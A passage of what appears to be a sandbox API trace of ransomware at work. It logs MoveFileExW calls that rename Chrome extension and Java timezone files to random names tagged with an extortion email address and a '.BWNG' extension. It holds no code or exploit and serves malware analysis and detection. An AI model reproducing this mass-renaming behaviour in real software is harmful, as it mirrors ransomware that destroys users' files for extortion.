Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\[billwong73@yahoo.com].g1FtsNpy-mJlN0IDp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\[billwong73@yahoo.com].g1ftsnpy-mjln0idp.bwng"), dwFlags=0x1) returned 1 [0123.901] GetTickCount () returned 0x11668d1 [0123.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26585366155) returned 1 [0123.902] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\[billwong73@yahoo.com].kQVBk58t-ZD62rEV7.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\[billwong73@yahoo.com].kqvbk58t-zd62rev7.bwng"), dwFlags=0x1) returned 1 [0123.903] GetTickCount () returned 0x11668d1 [0123.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26585528098) returned 1 [0123.903] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\[billwong73@yahoo.com].8L0pDg0p-AGRbDPlK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\[billwong73@yahoo.com].8l0pdg0p-agrbdplk.bwng"), dwFlags=0x1) returned 1 [0123.904] GetTickCount () returned 0x11668d1 [0123.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26585675168) returned 1 [0123.905] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\[billwong73@yahoo.com].Gg9WgjcO-A9d1txPx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\[billwong73@yahoo.com].gg9wgjco-a9d1txpx.bwng"), dwFlags=0x1) returned 1 [0123.906] GetTickCount () returned 0x11668d1 [0123.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26585824689) returned 1 [0123.906] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\[billwong73@yahoo.com].AX3qNDMY-hvJmTa33.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\[billwong73@yahoo.com].ax3qndmy-hvjmta33.bwng"), dwFlags=0x1) returned 1 [0123.907] GetTickCount () returned 0x11668d1 [0123.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26585967572) returned 1 [0123.908] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\[billwong73@yahoo.com].AfXiuoaD-ox88HYwz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\[billwong73@yahoo.com].afxiuoad-ox88hywz.bwng"), dwFlags=0x1) returned 1 [0123.909] GetTickCount () returned 0x11668d1 [0123.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26586138877) returned 1 [0123.909] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\[billwong73@yahoo.com].yTJl3kOn-LflJVdr8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\[billwong73@yahoo.com].ytjl3kon-lfljvdr8.bwng"), dwFlags=0x1) returned 1 [0124.030] GetTickCount () returned 0x116694e [0124.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26598200230) returned 1 [0124.038] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].XbOhD2qH-1kFNoiiF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].xbohd2qh-1kfnoiif.bwng"), dwFlags=0x1) returned 1 [0124.040] GetTickCount () returned 0x116695e [0124.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26599230665) returned 1 [0124.040] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\[billwong73@yahoo.com].jwjNQxm4-XU95T2X1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\[billwong73@yahoo.com].jwjnqxm4-xu95t2x1.bwng"), dwFlags=0x1) returned 1 [0124.042] GetTickCount () returned 0x116695e [0124.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26599426479) returned 1 [0124.042] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\[billwong73@yahoo.com].tQJoj49X-q6s2TwSR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\[billwong73@yahoo.com].tqjoj49x-q6s2twsr.bwng"), dwFlags=0x1) returned 1 [0124.044] GetTickCount () returned 0x116695e [0124.044] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26599594960) returned 1 [0124.044] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\[billwong73@yahoo.com].1BgrnkmI-65kfdxaz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\[billwong73@yahoo.com].1bgrnkmi-65kfdxaz.bwng"), dwFlags=0x1) returned 1 [0124.045] GetTickCount () returned 0x116695e [0124.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26599745389) returned 1 [0124.045] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\[billwong73@yahoo.com].zMhUOD8g-ukHTnBH4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\[billwong73@yahoo.com].zmhuod8g-ukhtnbh4.bwng"), dwFlags=0x1) returned 1 [0124.047] GetTickCount () returned 0x116695e [0124.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26599900099) returned 1 [0124.047] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\[billwong73@yahoo.com].AAKsGhRC-w7oiljnF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\[billwong73@yahoo.com].aaksghrc-w7oiljnf.bwng"), dwFlags=0x1) returned 1 [0124.048] GetTickCount () returned 0x116695e [0124.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26600051227) returned 1 [0124.049] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\[billwong73@yahoo.com].Nd9hbpPt-QvnIkIH6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\[billwong73@yahoo.com].nd9hbppt-qvnikih6.bwng"), dwFlags=0x1) returned 1 [0124.050] GetTickCount () returned 0x116695e [0124.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26600217494) returned 1 [0124.050] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\[billwong73@yahoo.com].yWENX3QN-nkHOaSFF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\[billwong73@yahoo.com].ywenx3qn-nkhoasff.bwng"), dwFlags=0x1) returned 1 [0124.098] GetTickCount () returned 0x116698d [0124.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26605017281) returned 1 [0124.099] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\[billwong73@yahoo.com].bOPrZYLc-FFdnwVjq.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\[billwong73@yahoo.com].boprzylc-ffdnwvjq.bwng"), dwFlags=0x1) returned 1 [0124.101] GetTickCount () returned 0x116699c [0124.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26605287198) returned 1 [0124.101] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].SbEnSMxk-LFEJt7v1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].sbensmxk-lfejt7v1.bwng"), dwFlags=0x1) returned 1 [0124.102] GetTickCount () returned 0x116699c [0124.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26605437500) returned 1 [0124.102] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].cY2n1DXo-VUWEDEk4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\[billwong73@yahoo.com].cy2n1dxo-vuwedek4.bwng"), dwFlags=0x1) returned 1 [0124.103] GetTickCount () returned 0x116699c [0124.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26605570989) returned 1 [0124.104] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].LkNjmATM-7nLRVoIE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\[billwong73@yahoo.com].lknjmatm-7nlrvoie.bwng"), dwFlags=0x1) returned 1 [0124.105] GetTickCount () returned 0x116699c [0124.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26605722149) returned 1 [0124.105] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\[billwong73@yahoo.com].5LWCYWU6-WCsbOmZb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\[billwong73@yahoo.com].5lwcywu6-wcsbomzb.bwng"), dwFlags=0x1) returned 1 [0124.106] GetTickCount () returned 0x116699c [0124.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26605857488) returned 1 [0124.107] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cuiaba" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cuiaba"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].ffiB1JIe-qi5foCdE.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ffib1jie-qi5focde.bwng"), dwFlags=0x1) returned 1 [0124.108] GetTickCount () returned 0x116699c [0124.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26606000214) returned 1 [0124.108] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\El_Salvador" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\el_salvador"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].oZciWF7e-cB1NGfki.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].ozciwf7e-cb1ngfki.bwng"), dwFlags=0x1) returned 1 [0124.109] GetTickCount () returned 0x116699c [0124.109] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26606148435) returned 1 [0124.109] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guyana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\guyana"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].nJXfZrHa-gN7mM8a5.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].njxfzrha-gn7mm8a5.bwng"), dwFlags=0x1) returned 1 [0124.111] GetTickCount () returned 0x116699c [0124.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26606300116) returned 1 [0124.111] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Vincennes" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\vincennes"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\[billwong73@yahoo.com].ivqlm4b0-0EjhR885.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\[billwong73@yahoo.com].ivqlm4b0-0ejhr885.bwng"), dwFlags=0x1) returned 1 [0124.112] GetTickCount () returned 0x116699c [0124.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26606438583) returned 1 [0124.112] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Los_Angeles" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\los_angeles"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].BDQsw6bH-ZxlqebPu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].bdqsw6bh-zxlqebpu.bwng"), dwFlags=0x1) returned 1 [0124.114] GetTickCount () returned 0x116699c [0124.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26606582461) returned 1 [0124.114] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Mexico_City" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\mexico_city"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].H53zytlm-WHMeJWao.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].h53zytlm-whmejwao.bwng"), dwFlags=0x1) returned 1 [0124.276] GetTickCount () returned 0x1166a48 [0124.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26622816016) returned 1 [0124.277] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\nome"), lpNewFileName="C:\\Program Files 